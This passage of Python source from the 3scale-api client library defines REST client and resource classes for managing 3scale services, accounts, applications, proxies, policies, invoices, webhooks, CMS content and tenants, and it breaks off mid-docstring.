[f"HTTP/1.1 {response.status_code} {response.reason}"] for key in response.headers: msg.append(f"{key}: {response.headers[key]}") msg.append("") body = response.text if len(body) > 160: body = body[:160] + "..." msg.append(body) return "\n".join(msg)
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/threescale_api/utils.py
utils.py
# flake8: noqa from .client import ThreeScaleClient
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/threescale_api/__init__.py
__init__.py
import logging from enum import Enum from typing import Dict, Union, List, Iterable from threescale_api import auth from threescale_api import utils from threescale_api import errors from threescale_api.defaults import DefaultClient, DefaultPlanClient, DefaultPlanResource, \ DefaultResource, DefaultStateClient, DefaultUserResource, DefaultStateResource, \ DefaultPaginationClient from threescale_api import client log = logging.getLogger(__name__) class Services(DefaultPaginationClient): def __init__(self, *args, entity_name='service', entity_collection='services', per_page=500, **kwargs): super().__init__(*args, entity_name=entity_name, entity_collection=entity_collection, per_page=per_page, **kwargs) @property def url(self) -> str: return self.threescale_client.admin_api_url + '/services' class MappingRules(DefaultPaginationClient): def __init__(self, *args, entity_name='mapping_rule', entity_collection='mapping_rules', per_page=None, **kwargs): super().__init__(*args, entity_name=entity_name, entity_collection=entity_collection, per_page=per_page, **kwargs) @property def url(self) -> str: return self.parent.url + '/mapping_rules' class Metrics(DefaultPaginationClient): def __init__(self, *args, entity_name='metric', entity_collection='metrics', per_page=None, **kwargs): super().__init__(*args, entity_name=entity_name, entity_collection=entity_collection, per_page=per_page, **kwargs) @property def url(self) -> str: return self.parent.url + '/metrics' class Limits(DefaultClient): def __init__(self, *args, entity_name='limit', entity_collection='limits', metric=None, **kwargs): super().__init__(*args, entity_name=entity_name, entity_collection=entity_collection, **kwargs) self._metric = metric @property def metric(self) -> Union['Metric', 'BackendMetric']: return self._metric @property def application_plan(self) -> 'ApplicationPlan': return self.parent def __call__(self, metric: 'Metric' = None) -> 'Limits': self._metric = metric return self @property def url(self) -> str: return self.application_plan.plans_url + f'/metrics/{self.metric.entity_id}/limits' def list_per_app_plan(self, **kwargs): log.info("[LIST] List limits per app plan: %s", kwargs) url = self.parent.url + '/limits' response = self.rest.get(url=url, **kwargs) instance = self._create_instance(response=response) return instance class PricingRules(DefaultClient): def __init__(self, *args, entity_name='pricing_rule', entity_collection='pricing_rules', metric: 'Metric' = None, **kwargs): super().__init__(*args, entity_name=entity_name, entity_collection=entity_collection, **kwargs) self._metric = metric @property def metric(self) -> 'Metric': return self._metric @property def application_plan(self) -> 'ApplicationPlan': return self.parent def __call__(self, metric: 'Metric' = None) -> 'PricingRules': self._metric = metric return self @property def url(self) -> str: return self.application_plan.plans_url + f'/metrics/{self.metric.entity_id}/pricing_rules' class Methods(DefaultPaginationClient): def __init__(self, *args, entity_name='method', entity_collection='methods', per_page=None, **kwargs): super().__init__(*args, entity_name=entity_name, entity_collection=entity_collection, per_page=per_page, **kwargs) @property def url(self) -> str: return self.parent.url + '/methods' class ApplicationPlans(DefaultPlanClient): def __init__(self, *args, entity_name='application_plan', entity_collection='plans', **kwargs): super().__init__(*args, entity_name=entity_name, entity_collection=entity_collection, **kwargs) @property def url(self) -> str: return self.parent.url + '/application_plans' @property def plans_url(self) -> str: return self.threescale_client.admin_api_url + '/application_plans' class ApplicationPlanFeatures(DefaultClient): def __init__(self, *args, entity_name='feature', entity_collection='features', **kwargs): super().__init__(*args, entity_name=entity_name, entity_collection=entity_collection, **kwargs) @property def url(self) -> str: return self.parent.url + '/features' class AccountUsers(DefaultStateClient): def __init__(self, *args, entity_name='user', entity_collection='users', per_page=None, **kwargs): super().__init__(*args, entity_name=entity_name, entity_collection=entity_collection, per_page=per_page, **kwargs) @property def url(self) -> str: return self.parent.url + '/users' class AccountPlans(DefaultPlanClient): def __init__(self, *args, entity_name='account_plan', entity_collection='plans', **kwargs): super().__init__(*args, entity_name=entity_name, entity_collection=entity_collection, **kwargs) @property def url(self) -> str: return self.threescale_client.admin_api_url + '/account_plans' class Accounts(DefaultStateClient): def __init__(self, *args, entity_name='account', entity_collection='accounts', per_page=500, **kwargs): super().__init__(*args, entity_name=entity_name, entity_collection=entity_collection, per_page=per_page, **kwargs) @property def url(self) -> str: return self.threescale_client.admin_api_url + '/accounts' def create(self, params: dict = None, **kwargs) -> 'Account': """Create new account Args: params(dict): Parameters to used to create new instance **kwargs: Optional args Returns(Account): Account instance """ return self.signup(params=params, **kwargs) def signup(self, params: dict, **kwargs) -> 'Account': """Sign Up for an account Args: params(dict): Parameters to used to create new instance **kwargs: Optional args Returns(Account): Account instance """ log.info("[SIGNUP] Create new Signup: params=%s, kwargs=%s", params, kwargs) url = self.threescale_client.admin_api_url + '/signup' response = self.rest.post(url=url, json=params, **kwargs) instance = self._create_instance(response=response) return instance def set_plan(self, entity_id: int, plan_id: int, **kwargs): """Sets account plan for the account Args: entity_id: Entity id plan_id: Plan id **kwargs: Optional args Returns: """ log.info("[PLAN] Set plan for an account(%s): %s", entity_id, plan_id) params = dict(plan_id=plan_id) url = self._entity_url(entity_id=entity_id) + '/change_plan' response = self.rest.put(url=url, json=params, **kwargs) instance = self._create_instance(response=response) return instance def send_message(self, entity_id: int, body: str, subject: str = None, **kwargs) -> Dict: """Send message to a developer account Args: entity_id(int): Entity id body(str): Message body **kwargs: Optional args Returns(Dict): Response """ log.info("[MSG] Send message to account (%s): %s %s", entity_id, body, kwargs) params = dict(body=body) if subject: params["subject"] = subject url = self._entity_url(entity_id=entity_id) + '/messages' response = self.rest.post(url=url, json=params, **kwargs) instance = utils.extract_response(response=response) return instance def approve(self, entity_id: int, **kwargs) -> 'Account': """Approve the account Args: entity_id(int): Entity id **kwargs: Optional args Returns(Account): Account resource """ return self.set_state(entity_id=entity_id, state='approve', **kwargs) def reject(self, entity_id, **kwargs) -> 'Account': """Reject the account Args: entity_id(int): Entity id **kwargs: Optional args Returns(Account): Account resource """ return self.set_state(entity_id=entity_id, state='reject', **kwargs) def pending(self, entity_id, **kwargs) -> 'Account': """Set the account as pending Args: entity_id(int): Entity id **kwargs: Optional args Returns(Account): Account resource """ return self.set_state(entity_id=entity_id, state='make_pending', **kwargs) class Applications(DefaultStateClient): def __init__(self, *args, entity_name='application', entity_collection='applications', per_page=None, **kwargs): super().__init__(*args, entity_name=entity_name, entity_collection=entity_collection, per_page=per_page, **kwargs) @property def url(self) -> str: return self.parent.url + '/applications' def change_plan(self, entity_id: int, plan_id: int, **kwargs): log.info("[PLAN] Change plan for application (%s) to %s %s", entity_id, plan_id, kwargs) params = dict(plan_id=plan_id) url = self._entity_url(entity_id=entity_id) + '/change_plan' response = self.rest.put(url=url, json=params, **kwargs) instance = utils.extract_response(response=response) return instance def customize_plan(self, entity_id: int, **kwargs): log.info("[PLAN] Customize plan for application (%s) %s", entity_id, kwargs) url = self._entity_url(entity_id=entity_id) + '/customize_plan' response = self.rest.put(url=url, **kwargs) instance = utils.extract_response(response=response) return instance def decustomize_plan(self, entity_id: int, **kwargs): log.info("[PLAN] Decustomize plan for application (%s) %s", entity_id, kwargs) url = self._entity_url(entity_id=entity_id) + '/decustomize_plan' response = self.rest.put(url=url, **kwargs) instance = utils.extract_response(response=response) return instance def accept(self, entity_id: int, **kwargs): self.set_state(entity_id=entity_id, state='accept', **kwargs) def suspend(self, entity_id: int, **kwargs): self.set_state(entity_id=entity_id, state='suspend', **kwargs) def resume(self, entity_id: int, **kwargs): self.set_state(entity_id=entity_id, state='resume', **kwargs) class DevPortalAuthProviders(DefaultClient): def __init__(self, *args, entity_name='authentication_provider', entity_collection='authentication_providers', **kwargs): super().__init__(*args, entity_name=entity_name, entity_collection=entity_collection, **kwargs) @property def url(self) -> str: return self.threescale_client.admin_api_url + '/authentication_providers' class ApplicationReferrerFilters(DefaultClient): def __init__(self, *args, entity_name='application', entity_collection='applications', **kwargs): super().__init__(*args, entity_name=entity_name, entity_collection=entity_collection, **kwargs) @property def url(self) -> str: return self.parent.url + '/referrer_filters' class ApplicationKeys(DefaultClient): def __init__(self, *args, entity_name='application', entity_collection='applications', **kwargs): super().__init__(*args, entity_name=entity_name, entity_collection=entity_collection, **kwargs) @property def url(self) -> str: return self.parent.url + '/keys' class Providers(DefaultClient): def __init__(self, *args, entity_name='user', entity_collection='users', **kwargs): super().__init__(*args, entity_name=entity_name, entity_collection=entity_collection, **kwargs) @property def url(self) -> str: return self.threescale_client.admin_api_url + '/providers' def create_token(self, entity_id: int, params, **kwargs): log.info(self._log_message("[TOKEN] Create token", entity_id=entity_id, body=params, **kwargs)) url = self._entity_url(entity_id=entity_id) + '/access_tokens' response = self.rest.put(url, json=params) return utils.extract_response(response=response) class AccessTokens(DefaultClient): def __init__(self, *args, entity_name='access_token', entity_collection='access_tokens', **kwargs): super().__init__(*args, entity_name=entity_name, entity_collection=entity_collection, **kwargs) @property def url(self) -> str: return self.threescale_client.admin_api_url + '/personal/access_tokens' class ActiveDocs(DefaultClient): def __init__(self, *args, entity_name='api_doc', entity_collection='api_docs', **kwargs): super().__init__(*args, entity_name=entity_name, entity_collection=entity_collection, **kwargs) @property def url(self) -> str: return self.threescale_client.admin_api_url + '/active_docs' class Analytics(DefaultClient): def _list_by_resource(self, resource_id: int, resource_type, metric_name: str = 'hits', since=None, period: str = 'year', **kwargs): log.info("List analytics by %s (%s) for metric (#%s)", resource_type, resource_id, metric_name) params = dict( metric_name=metric_name, since=since, period=period, **kwargs ) url = self.threescale_client.url + f"/stats/{resource_type}/{resource_id}/usage" response = self.rest.get(url, json=params) return utils.extract_response(response=response) def list_by_application(self, application: Union['Application', int], **kwargs): app_id = _extract_entity_id(application) return self._list_by_resource(resource_id=app_id, resource_type='applications', **kwargs) def list_by_service(self, service: Union['Service', int], **kwargs): app_id = _extract_entity_id(service) return self._list_by_resource(resource_id=app_id, resource_type='services', **kwargs) def list_by_backend(self, backend: Union['Backend', int], **kwargs): backend_id = _extract_entity_id(backend) return self._list_by_resource( resource_id=backend_id, resource_type='backend_apis', **kwargs) class Tenants(DefaultClient): def __init__(self, *args, entity_name='tenant', entity_collection='tenants', **kwargs): super().__init__(*args, entity_name=entity_name, entity_collection=entity_collection, **kwargs) def read(self, entity_id, **kwargs): log.debug(self._log_message("[GET] Read Tenant", args=kwargs)) url = self._entity_url(entity_id=entity_id) response = self.rest.get(url=url, **kwargs) instance = self._create_instance(response=response) return instance @property def url(self) -> str: return self.threescale_client.master_api_url + '/providers' def trigger_billing(self, tenant: Union['Tenant', int], date: str): """Trigger billing for whole tenant Args: tenant: Tenant id or tenant resource date: Date for billing Returns(bool): True if successful """ provider_id = _extract_entity_id(tenant) url = self.url + f"/{provider_id}/billing_jobs" params = dict(date=date) response = self.rest.post(url=url, json=params) return response.ok def trigger_billing_account(self, tenant: Union['Tenant', int], account: Union['Account', int], date: str) -> dict: """Trigger billing for one account in tenant Args: tenant: Tenant id or tenant resource account: Account id or account resource date: Date for billing Returns(bool): True if successful """ account_id = _extract_entity_id(account) provider_id = _extract_entity_id(tenant) url = self.url + f"/{provider_id}/accounts/{account_id}/billing_jobs" params = dict(date=date) response = self.rest.post(url=url, json=params) return response.ok class Proxies(DefaultClient): def __init__(self, *args, entity_name='proxy', **kwargs): super().__init__(*args, entity_name=entity_name, **kwargs) @property def url(self) -> str: return self.parent.url + '/proxy' def deploy(self) -> 'Proxy': log.info("[DEPLOY] %s to Staging", self._entity_name) url = f'{self.url}/deploy' response = self.rest.post(url) instance = self._create_instance(response=response) return instance @property def oidc(self) -> 'OIDCConfigs': return OIDCConfigs(self) @property def mapping_rules(self) -> 'MappingRules': return MappingRules(parent=self, instance_klass=MappingRule) class ProxyConfigs(DefaultClient): def __init__(self, *args, entity_name='proxy_config', entity_collection='configs', env: str = None, **kwargs): super().__init__(*args, entity_name=entity_name, entity_collection=entity_collection, **kwargs) self._env = env @property def url(self) -> str: base = self.parent.url + '/configs' return base if not self._env else f"{base}/{self._env}" @property def proxy(self) -> 'Proxy': return self.parent @property def service(self) -> 'Service': return self.proxy.service # tests/integration/test_integration_services.py::test_service_list_configs # defines usage in a form proxy.configs.list(env='staging'). # To reflect this (good tests are considered immutable and defining the behavior) # list method has to be customized def list(self, **kwargs): if "env" in kwargs: self._env = kwargs["env"] del (kwargs["env"]) return super().list(**kwargs) def promote(self, version: int = 1, from_env: str = 'sandbox', to_env: str = 'production', **kwargs) -> 'Proxy': log.info("[PROMOTE] %s version %s from %s to %s", self.service, version, from_env, to_env) url = f'{self.url}/{from_env}/{version}/promote' params = dict(to=to_env) kwargs.update() response = self.rest.post(url, json=params, **kwargs) instance = self._create_instance(response=response) return instance def latest(self, env: str = "sandbox") -> 'ProxyConfig': log.info("[LATEST] Get latest proxy configuration of %s", env) self._env = env url = self.url + '/latest' response = self.rest.get(url=url) instance = self._create_instance(response=response) return instance def version(self, version: int = 1, env: str = "sandbox") -> 'ProxyConfig': log.info("[VERSION] Get proxy configuration of %s of version %s", env, version) self._env = env url = f'{self.url}/{version}' response = self.rest.get(url=url) instance = self._create_instance(response=response) return instance class SettingsClient(DefaultClient): def __init__(self, *args, entity_name='settings', **kwargs): super().__init__(*args, entity_name=entity_name, **kwargs) @property def url(self) -> str: return self.threescale_client.admin_api_url + '/settings' class AdminPortalAuthProviders(DefaultClient): def __init__(self, *args, entity_name='authentication_provider', entity_collection='authentication_providers', **kwargs): super().__init__(*args, entity_name=entity_name, entity_collection=entity_collection, **kwargs) @property def url(self) -> str: return self.threescale_client.admin_api_url + '/account/authentication_providers' class UserPermissionsClient(DefaultClient): def __init__(self, *args, entity_name='permissions', **kwargs): super().__init__(*args, entity_name=entity_name, **kwargs) @property def url(self) -> str: return self.threescale_client.admin_api_url + '/tenants' class Policies(DefaultClient): def __init__(self, *args, entity_name='policy', entity_collection='policies', **kwargs): super().__init__(*args, entity_name=entity_name, entity_collection=entity_collection, **kwargs) @property def url(self) -> str: return f"{self.parent.url}/{self._entity_collection}" def append(self, *policies): params = self.list().entity params["policies_config"].extend(policies) params["service_id"] = self.parent["service_id"] return self.update(params=params) def insert(self, index: int, *policies): params = self.list().entity for (i, policy) in enumerate(policies): params["policies_config"].insert(index + i, policy) params["service_id"] = self.parent["service_id"] return self.update(params=params) class OIDCConfigs(DefaultClient): @property def url(self) -> str: return self.parent.url + '/oidc_configuration' def update(self, params: dict = None, **kwargs) -> dict: return self.rest.patch(url=self.url, json=params, **kwargs).json() def read(self, params: dict = None, **kwargs) -> dict: return self.rest.get(url=self.url, json=params, **kwargs).json() class Backends(DefaultPaginationClient): def __init__(self, *args, entity_name='backend_api', entity_collection='backend_apis', per_page=500, **kwargs): super().__init__(*args, entity_name=entity_name, entity_collection=entity_collection, per_page=per_page, **kwargs) @property def url(self) -> str: return self.threescale_client.admin_api_url + '/backend_apis' class BackendMetrics(Metrics): def __init__(self, *args, entity_name='metric', entity_collection='metrics', per_page=500, **kwargs): super().__init__(*args, entity_name=entity_name, entity_collection=entity_collection, per_page=per_page, **kwargs) class BackendMappingRules(MappingRules): def __init__(self, *args, entity_name='mapping_rule', entity_collection='mapping_rules', per_page=500, **kwargs): super().__init__(*args, entity_name=entity_name, entity_collection=entity_collection, per_page=per_page, **kwargs) class BackendUsages(Services): def __init__(self, *args, entity_name='backend_usage', entity_collection='backend_usages', **kwargs): super().__init__(*args, entity_name=entity_name, entity_collection=entity_collection, **kwargs) @property def url(self) -> str: return self.parent.url + '/backend_usages' class PoliciesRegistry(DefaultClient): def __init__(self, *args, entity_name='policy', entity_collection='policies', **kwargs): super().__init__(*args, entity_name=entity_name, entity_collection=entity_collection, **kwargs) @property def url(self) -> str: return self.threescale_client.admin_api_url + '/registry/policies' class ProviderAccounts(DefaultClient): """ 3scale endpoints implement only GET and UPDATE methods """ def __init__(self, *args, entity_name='account', **kwargs): super().__init__(*args, entity_name=entity_name, **kwargs) @property def url(self) -> str: return self.threescale_client.admin_api_url + '/provider' def fetch(self, **kwargs) -> DefaultResource: """ Fetch the current Provider Account (Tenant) entity from admin_api_url endpoint. Only one Provider Account (currently used Tenant) is reachable via admin_api_url, therefore `entity_id` is not required. """ log.debug(self._log_message("[FETCH] Fetch Current Provider Account (Tenant) ", args=kwargs)) response = self.rest.get(url=self.url, **kwargs) instance = self._create_instance(response=response) return instance def update(self, params: dict = None, **kwargs) -> 'DefaultResource': return super().update(params=params) class ProviderAccountUsers(DefaultStateClient): """ Client for Provider Accounts. In 3scale, entity under Account Settings > Users """ def __init__(self, *args, entity_name='user', entity_collection='users', per_page=None, **kwargs): super().__init__(*args, entity_name=entity_name, entity_collection=entity_collection, per_page=per_page, **kwargs) @property def url(self) -> str: return self.threescale_client.admin_api_url + '/users' def permissions_update(self, entity_id: int, allowed_services: [] = None, allowed_sections: [] = None, **kwargs): allowed_services = allowed_services if allowed_services else ['[]'] allowed_sections = allowed_sections if allowed_sections else ['[]'] log.info(self._log_message("Change of Provider Account (User) permissions")) url = self._entity_url(entity_id) + '/permissions' params = { 'allowed_service_ids[]': allowed_services, 'allowed_sections[]': allowed_sections, } response = self.rest.put(url=url, data=params, **kwargs) return response.json() def allow_all_sections(self, entity_id: int, **kwargs): log.info(self._log_message("Change of Provider Account (User) " "permissions to all available permissions")) return self.permissions_update(entity_id=entity_id, allowed_sections=[ 'portal', 'finance', 'settings', 'partners', 'monitoring', 'plans', 'policy_registry' ]) def permissions_read(self, entity_id: int, **kwargs): url = self._entity_url(entity_id) + '/permissions' response = self.rest.get(url=url, **kwargs) return response.json() def set_role_member(self, entity_id: int): log.info("Changes the role of the user of the provider account to member") return self.set_state(entity_id, state='member') def set_role_admin(self, entity_id: int): log.info("Changes the role of the provider account to admin") return self.set_state(entity_id, state='admin') def suspend(self, entity_id): log.info("Changes the state of the user of the provider account to suspended") return self.set_state(entity_id, state='suspend') def unsuspend(self, entity_id: int): log.info("Revokes the suspension of a user of the provider account") return self.set_state(entity_id, state='unsuspend') def activate(self, entity_id: int): log.info("Changes the state of the user of the provider account to active") return self.set_state(entity_id, state='activate') class Webhooks(DefaultClient): """ Default client for webhooks """ def __init__(self, *args, entity_name='webhook', entity_collection='webhooks', **kwargs): super().__init__(*args, entity_name=entity_name, entity_collection=entity_collection, **kwargs) @property def url(self) -> str: return self.threescale_client.admin_api_url + '/webhooks' def update(self, params: dict = None, **kwargs): url = self.url return self.rest.put(url=url, json=params, **kwargs) def setup(self, webhook_type, url): """ Configure webhooks for given webhooks type """ params = {"url": url, "active": "true", "provider_actions": "true"} if webhook_type == "Keys": params.update({ "application_key_created_on": "true", "application_key_deleted_on": "true", "application_key_updated_on": "true" }) elif webhook_type == "Users": params.update({ "user_created_on": "true", "user_updated_on": "true", "user_deleted_on": "true" }) elif webhook_type == "Applications": params.update({ "application_created_on": "true", "application_updated_on": "true", "application_suspended_on": "true", "application_plan_changed_on": "true", "application_user_key_updated_on": "true", "application_deleted_on": "true" }) elif webhook_type == "Accounts": params.update({ "account_created_on": "true", "account_updated_on": "true", "account_deleted_on": "true", "account_plan_changed_on": "true" }) return self.update(params=params) def clear(self): """ Configure webhooks to default settings """ params = {"url": "", "active": "false", "provider_actions": "false", "account_created_on": "false", "account_updated_on": "false", "account_deleted_on": "false", "user_created_on": "false", "user_updated_on": "false", "user_deleted_on": "false", "application_created_on": "false", "application_updated_on": "false", "application_deleted_on": "false", "account_plan_changed_on": "false", "application_plan_changed_on": "false", "application_user_key_updated_on": "false", "application_key_created_on": "false", "application_key_deleted_on": "false", "application_suspended_on": "false", "application_key_updated_on": "false", } return self.update(params=params) class LineItems(DefaultClient): """Default client for LineItems""" def __init__(self, *args, entity_name='line_item', entity_collection='line_items', **kwargs): super().__init__(*args, entity_name=entity_name, entity_collection=entity_collection, **kwargs) @property def url(self) -> str: return self.parent.url + '/line_items' class InvoiceState(Enum): CANCELLED = "cancelled" FAILED = "failed" PAID = "paid" UNPAID = "unpaid" PENDING = "pending" FINALIZED = "finalized" OPEN = "open" class Invoices(DefaultPaginationClient): """Default client for Invoices""" def __init__(self, *args, entity_name='invoice', entity_collection='invoices', per_page=20, **kwargs): super().__init__(*args, entity_name=entity_name, entity_collection=entity_collection, per_page=per_page, **kwargs) @property def url(self) -> str: return self.threescale_client.url + '/api/invoices' @property def line_items(self) -> LineItems: return LineItems(parent=self, instance_klass=LineItem) def list_by_account(self, account: Union['Account', int], **kwargs): account_id = _extract_entity_id(account) url = self.threescale_client.url + f"/api/accounts/{account_id}/invoices" response = self.rest.get(url, **kwargs) instance = self._create_instance(response=response, collection=True) return instance def read_by_account(self, entity_id: int, account: Union['Account', int], **kwargs): account_id = _extract_entity_id(account) url = self.threescale_client.url + f"/api/accounts/{account_id}/invoices/{entity_id}" response = self.rest.get(url, **kwargs) instance = self._create_instance(response=response) return instance def state_update(self, entity_id: int, state: InvoiceState, **kwargs): """ Update the state of the Invoice. Values allowed (depend on the previous state): cancelled, failed, paid, unpaid, pending, finalized """ log.info("[Invoice] state changed for invoice (%s): %s", entity_id, state) params = dict(state=state.value) url = self._entity_url(entity_id) + '/state' response = self.rest.put(url=url, json=params, **kwargs) instance = self._create_instance(response=response) return instance def charge(self, entity_id: int): """Charge an Invoice.""" log.info("[Invoice] charge invoice (%s)", entity_id) url = self._entity_url(entity_id) + '/charge' response = self.rest.post(url) instance = self._create_instance(response=response) return instance class PaymentTransactions(DefaultClient): def __init__(self, *args, entity_name='payment_transaction', entity_collection='payment_transactions', **kwargs): super().__init__(*args, entity_name=entity_name, entity_collection=entity_collection, **kwargs) @property def url(self) -> str: return self.parent.url + '/payment_transactions' class FieldsDefinitions(DefaultClient): def __init__(self, *args, entity_name='fields_definition', entity_collection='fields_definitions', **kwargs): super().__init__(*args, entity_name=entity_name, entity_collection=entity_collection, **kwargs) @property def url(self) -> str: return self.threescale_client.admin_api_url + '/fields_definitions' class CmsClient(DefaultPaginationClient): """ Client for all cms api endpoints. """ def __init__(self, *args, per_page=100, **kwargs): super().__init__(*args, per_page=per_page, **kwargs) def _extract_resource(self, response, collection) -> Union[List, Dict]: extracted = response.json() if self._entity_collection and self._entity_collection in extracted: extracted = extracted.get(self._entity_collection) return extracted def select_by(self, **params): """Select by params - logical "and" Usage example: select_by(role='admin') Filtering by some params can be done on the backend. Filters for each class are stored in class variable FILTERS. Filters are removed because they are not part of function "predicate". ------------------------------------- | Endpoint | Filters | ------------------------------------- | Sections #index | parent_id | | Files #index | section_id | | Templates #index | type, section_id | ------------------------------------- Args: **params: params used for selection Returns: List of resources """ log.debug("[SELECT] By params: %s", params) filters = {fil: params.pop(fil) for fil in self.FILTERS if fil in params} def predicate(item): for (key, val) in params.items(): if item[key] != val: return False return True if filters: return self.select(predicate=predicate, params=filters) return self.select(predicate=predicate) class CmsFiles(CmsClient): FILTERS = ['parent_id'] """ Client for files. """ def __init__(self, *args, entity_name='file', entity_collection='collection', **kwargs): super().__init__(*args, entity_name=entity_name, entity_collection=entity_collection, **kwargs) @property def url(self) -> str: return self.threescale_client.admin_api_url + '/cms/files' class CmsSections(CmsClient): FILTERS = ['section_id'] """ Client for sections. """ def __init__(self, *args, entity_name='section', entity_collection='collection', **kwargs): super().__init__(*args, entity_name=entity_name, entity_collection=entity_collection, **kwargs) @property def url(self) -> str: return self.threescale_client.admin_api_url + '/cms/sections' class CmsTemplates(CmsClient): FILTERS = ['type'] # , 'section_id'] """ Client for templates. """ def __init__(self, *args, entity_collection='collection', **kwargs): super().__init__(*args, entity_collection=entity_collection, **kwargs) @property def url(self) -> str: return self.threescale_client.admin_api_url + '/cms/templates' def publish(self, entity_id, **kwargs): """ Publish template with entity_id """ log.info("[PUBLISH] %s", entity_id) url = self._entity_url(entity_id) + '/publish' response = self.rest.put(url=url, **kwargs) instance = self._create_instance(response=response) return instance def list(self, **kwargs) -> List['DefaultResource']: """List all entities Args: **kwargs: Optional parameters Returns(List['DefaultResource]): List of resources """ log.info(self._log_message("[LIST] List", args=kwargs)) kwargs.setdefault("params", {}) kwargs["params"].setdefault("content", "true") kwargs["params"].setdefault("type", self._entity_name) instance = self._list(**kwargs) return instance def select(self, predicate, **kwargs) -> List['DefaultResource']: """Select resource s based on the predicate Args: predicate: Predicate **kwargs: Optional args Returns: List of resources """ kwargs.setdefault("params", {}) kwargs["params"].setdefault("content", "true") kwargs["params"].setdefault("type", self._entity_name) return [item for item in self._list(**kwargs) if predicate(item)] def create(self, params: dict = None, *args, **kwargs) -> 'DefaultResource': params.update({'type': self._entity_name}) return super().create(params=params, *args, **kwargs) class CmsPages(CmsTemplates): """ Client for pages """ def __init__(self, *args, entity_name='page', **kwargs): super().__init__(*args, entity_name=entity_name, **kwargs) class CmsBuiltinPages(CmsTemplates): """ Client for builtin pages. """ def __init__(self, *args, entity_name='builtin_page', **kwargs): super().__init__(*args, entity_name=entity_name, **kwargs) class CmsLayouts(CmsTemplates): """ Client for layouts """ def __init__(self, *args, entity_name='layout', **kwargs): super().__init__(*args, entity_name=entity_name, **kwargs) class CmsPartials(CmsTemplates): """ Client for partials """ def __init__(self, *args, entity_name='partial', **kwargs): super().__init__(*args, entity_name=entity_name, **kwargs) class CmsBuiltinPartials(CmsTemplates): """ Client for builtin partials """ def __init__(self, *args, entity_name='builtin_partial', **kwargs): super().__init__(*args, entity_name=entity_name, **kwargs) # Resources class ApplicationPlan(DefaultPlanResource): def __init__(self, entity_name='system_name', **kwargs): super().__init__(entity_name=entity_name, **kwargs) @property def plans_url(self) -> str: return self.threescale_client.admin_api_url + f"/application_plans/{self.entity_id}" @property def service(self) -> 'Service': return self.parent def limits(self, metric: 'Metric' = None) -> 'Limits': return Limits(self, metric=metric, instance_klass=Limit) def pricing_rules(self, metric: 'Metric' = None) -> 'PricingRules': return PricingRules(self, metric=metric, instance_klass=PricingRule) class Method(DefaultResource): def __init__(self, entity_name='system_name', **kwargs): super().__init__(entity_name=entity_name, **kwargs) @property def metric(self) -> 'Metric': return self.parent @property def service(self) -> 'Service': return self.metric.parent class Metric(DefaultResource): def __init__(self, entity_name='system_name', **kwargs): super().__init__(entity_name=entity_name, **kwargs) @property def service(self) -> 'Service': return self.parent @property def methods(self) -> 'Methods': return Methods(parent=self, instance_klass=Method, per_page=self.client.per_page) class MappingRule(DefaultResource): @property def proxy(self) -> 'Proxy': return self.parent @property def service(self) -> 'Service': return self.proxy.service class ProxyConfig(DefaultResource): @property def proxy(self) -> 'Proxy': return self.parent @property def service(self) -> 'Service': return self.proxy.service # ProxyConfig is once instantiated with just proxy config obj (for example # through promote()) other times as dict of key "proxy_configs". This seems # to be clear bug in the code (this code) and behavior should be always # consistent. For now keeping inconsistency as it introduces minimal change # and keeps everything working def __getitem__(self, key): if "proxy_configs" in self.entity: return self.entity["proxy_configs"][key] return super().__getitem__(key) # Same problem as in __getitem__. def __len__(self): if "proxy_configs" in self.entity: return len(self.entity["proxy_configs"]) return super().__len__() class Policy(DefaultResource): def __init__(self, entity_name='system_name', **kwargs): super().__init__(entity_name=entity_name, **kwargs) @property def proxy(self) -> 'Proxy': return self.parent @property def service(self) -> 'Service': return self.proxy.service class Proxy(DefaultResource): @property def url(self) -> str: return self.client.url @property def service(self) -> 'Service': return self.parent @property def mapping_rules(self) -> MappingRules: return MappingRules(parent=self, instance_klass=MappingRule) @property def configs(self) -> 'ProxyConfigs': return ProxyConfigs(parent=self, instance_klass=ProxyConfig) @property def policies(self) -> 'Policies': return Policies(parent=self, instance_klass=Policy) def promote(self, **kwargs) -> 'Proxy': return self.configs.promote(**kwargs) @property def policies_registry(self) -> PoliciesRegistry: return PoliciesRegistry(parent=self, instance_klass=PolicyRegistry) def deploy(self) -> 'Proxy': return self.client.deploy() class Service(DefaultResource): AUTH_USER_KEY = "1" AUTH_APP_ID_KEY = "2" AUTH_OIDC = "oidc" def __init__(self, entity_name='system_name', **kwargs): super().__init__(entity_name=entity_name, **kwargs) @property def app_plans(self) -> ApplicationPlans: return ApplicationPlans(parent=self, instance_klass=ApplicationPlan) @property def metrics(self) -> Metrics: return Metrics(parent=self, instance_klass=Metric) @property def proxy(self) -> 'Proxies': return Proxies(parent=self, instance_klass=Proxy) @property def mapping_rules(self) -> 'MappingRules': return self.proxy.mapping_rules @property def policies_registry(self) -> 'PoliciesRegistry': return PoliciesRegistry(parent=self, instance_klass=PoliciesRegistry) def oidc(self): return self.proxy.oidc @property def backend_usages(self) -> 'BackendUsages': return BackendUsages(parent=self, instance_klass=BackendUsage) @property def active_docs(self) -> 'ActiveDocs': """ Active docs related to service. """ up_self = self class Wrap(ActiveDocs): def list(self, **kwargs) -> List['DefaultResource']: """List all ActiveDocs related to this service.""" kwargs.update({'service_id': up_self['id']}) instance = self.select_by(**kwargs) return instance return Wrap(parent=self, instance_klass=ActiveDoc) class ActiveDoc(DefaultResource): def __init__(self, entity_name='system_name', **kwargs): super().__init__(entity_name=entity_name, **kwargs) class Provider(DefaultResource): def __init__(self, entity_name='org_name', **kwargs): super().__init__(entity_name=entity_name, **kwargs) class AccessToken(DefaultResource): def __init__(self, entity_name='name', **kwargs): super().__init__(entity_name=entity_name, **kwargs) class Tenant(DefaultResource): def __init__(self, entity_name='system_name', **kwargs): super().__init__(entity_name=entity_name, **kwargs) self.admin_base_url = self["signup"]["account"]["admin_base_url"] self.admin_token = None if "access_token" in self['signup']: self.admin_token = self["signup"]["access_token"]["value"] @property def entity_id(self) -> int: return self.entity["signup"]["account"]["id"] def wait_tenant_ready(self) -> bool: """ When True is returned, there is some chance the tenant is actually ready. """ # Ignore ssl, this is about checking whether the initialization has # been finished. return self.admin_api(ssl_verify=False).wait_for_tenant() def admin_api(self, ssl_verify=True, wait=-1) -> 'client.ThreeScaleClient': """ Returns admin api client for tenant. Its strongly recommended to call this with wait=True """ return client.ThreeScaleClient( self.admin_base_url, self.admin_token, ssl_verify=ssl_verify, wait=wait) def trigger_billing(self, date: str): """Trigger billing for whole tenant Args: date: 